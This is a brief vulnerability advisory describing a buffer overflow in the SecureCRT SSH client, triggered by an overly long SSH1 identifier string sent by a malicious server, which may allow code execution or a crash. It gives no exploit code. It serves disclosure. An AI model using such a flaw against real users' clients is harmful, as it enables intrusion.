The SecureCRT client is prone to a buffer-overflow condition when attempting to handle an overly long SSH1 protocol identifier string. Reportedly, an attacker can exploit this issue via a malicious server. 

Exploiting this issue may allow an attacker to execute arbitrary code or may cause the client to crash.
